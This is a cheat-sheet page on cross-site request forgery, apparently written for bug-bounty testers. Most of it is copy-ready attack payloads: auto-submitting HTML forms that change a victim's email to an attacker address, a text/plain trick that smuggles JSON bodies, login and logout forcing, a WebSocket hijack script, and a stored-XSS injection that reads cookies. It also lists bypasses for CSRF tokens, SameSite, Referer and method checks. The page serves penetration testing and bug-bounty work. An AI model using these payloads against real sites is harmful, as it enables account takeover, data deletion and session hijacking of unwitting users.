Skip to content
Web Security

CSRF

Cross-site request forgery bypass and token extraction techniques

Quick Check

Is It CSRF Vulnerable?

TEXT
1. Does action change state? (POST/PUT/DELETE)
2. Relies on cookies for auth? (session cookie)
3. No unpredictable token? (no CSRF token)
4. SameSite=None or not set? (for cross-site)

Test Flow

TEXT
1. Capture request in Burp
2. Remove CSRF token/header → does it still work?
3. Change token to random value → does it still work?
4. Use token from different session → does it work?
5. Change POST to GET → does it work?
6. Change Content-Type → does it work?

Basic PoC Templates

GET-Based CSRF

HTML
<img src="https://target.com/api/delete?id=123">
<iframe src="https://target.com/api/delete?id=123" style="display:none">
<link rel="stylesheet" href="https://target.com/api/delete?id=123">

POST Form (Auto-Submit)

HTML
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/change-email">
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
</body>
</html>

POST with JSON Body (Simple Request)

HTML
<form method="POST" action="https://target.com/api/update" enctype="text/plain">
    <input name='{"email":"attacker@evil.com","x":"' value='"}' type="hidden">
</form>
<script>document.forms[0].submit();</script>

<!-- This sends: {"email":"attacker@evil.com","x":"="} -->

Token Bypass Techniques

Token Not Validated

TEXT
# Try empty token
csrf_token=

# Try removing parameter entirely
(delete the csrf_token parameter)

# Try null/undefined
csrf_token=null
csrf_token=undefined

Token Not Tied to Session

TEXT
# Use token from attacker's session
# Login as attacker → get CSRF token → use in victim's exploit
TEXT
# If app checks: cookie_token == body_token
# Set cookie via XSS or subdomain, control body token

Token Validation Only on Presence

TEXT
# Try removing token entirely vs having wrong token
# Some apps only validate IF token exists

Weak Token Generation

TEXT
# Predictable patterns:
- Sequential numbers
- MD5(username)
- MD5(timestamp)
- Base64 encoded

When SameSite Works

TEXT
SameSite=Strict  → Only same-site, no cross-site ever
SameSite=Lax     → Cross-site GET allowed (navigations)
SameSite=None    → Cross-site allowed (needs Secure)
No SameSite set  → Browser defaults to Lax (modern browsers)

Lax Bypass via GET

HTML
<!-- SameSite=Lax allows GET navigations -->
<a href="https://target.com/api/delete?id=123">Click me</a>

<!-- Auto-redirect -->
<script>window.location = 'https://target.com/api/delete?id=123';</script>

Lax Bypass with Method Override

HTML
<!-- If app allows _method parameter -->
<form method="GET" action="https://target.com/api/delete">
    <input name="_method" value="POST">
    <input name="id" value="123">
</form>

Bypass via Same-Site Context

TEXT
# From subdomain (if cookie scope allows)
# From related domain in same site
# Via XSS on target (then it's same-origin)

Content-Type Bypass

Simple Requests (No Preflight)

TEXT
- application/x-www-form-urlencoded
- multipart/form-data
- text/plain

Bypass JSON Requirement

HTML
<!-- Send as form, but body looks like JSON -->
<form method="POST" action="https://target.com/api" enctype="text/plain">
    <input name='{"key":"value","ignore":"' value='"}'>
</form>

Multipart with JSON

HTML
<form method="POST" action="https://target.com/api" enctype="multipart/form-data">
    <input type="hidden" name="json" value='{"email":"evil@attacker.com"}'>
</form>

Method Override

Common Override Headers/Params

TEXT
X-HTTP-Method-Override: PUT
X-Method-Override: DELETE
_method=DELETE
method=PUT

PoC with Override

HTML
<form method="POST" action="https://target.com/api/user/1">
    <input name="_method" value="DELETE">
</form>

Referrer Bypass

If Referrer Validated

TEXT
# Try no referrer
<meta name="referrer" content="no-referrer">

# Try empty referrer
<meta name="referrer" content="unsafe-url">

# Referrer starting with target domain
https://target.com.attacker.com
https://attacker.com/target.com

# Subdomain referrer
https://evil.target.com

Weak Referrer Validation

TEXT
# If checks "contains target.com"
https://attacker.com/target.com
https://target.com.attacker.com
https://attacker.com?ref=target.com

Advanced CSRF Techniques

Login CSRF (Session Fixation)

HTML
<!-- Force login to attacker's account -->
<form method="POST" action="https://target.com/login">
    <input name="user" value="attacker">
    <input name="pass" value="password123">
</form>
<script>document.forms[0].submit();</script>
<!-- Victim now logged in as attacker, actions tracked -->

Logout CSRF

HTML
<img src="https://target.com/logout">
<!-- DoS by forcing logout -->

CSRF + Self-XSS Chain

TEXT
1. Find Self-XSS in user profile
2. CSRF to inject XSS payload into victim's profile
3. When victim views own profile → XSS fires

CSRF to Stored XSS

HTML
<form method="POST" action="https://target.com/api/update-profile">
    <input name="bio" value="<script>alert(document.cookie)</script>">
</form>

OAuth CSRF (Account Linking)

HTML
<!-- Force link attacker's OAuth account -->
<img src="https://target.com/oauth/callback?code=ATTACKER_CODE">

WebSocket CSRF (CSWSH)

HTML
<script>
var ws = new WebSocket('wss://target.com/socket');
ws.onopen = function() {
    ws.send('{"action":"delete","id":"123"}');
};
</script>

Bug Bounty Tips

High-Value CSRF Targets

TEXT
- Password change (without current password)
- Email change
- Account deletion
- Admin actions
- Money transfer
- API key generation
- OAuth account linking
- Settings that affect security

Bypass Checklist

TEXT
Remove token entirely
□ Empty token value
□ Token from another session
□ Change POST to GET
□ Method override (PUT/DELETE to POST)Change Content-TypeRemove Referer headerCORS misconfiguration chainXSS chain (same-origin bypass)

Demonstrating Impact

TEXT
- Don't just show "works without token"
- Perform actual state change
- Record video of automatic exploitation
- Show post-exploitation state
- Chain with other vulns
On this page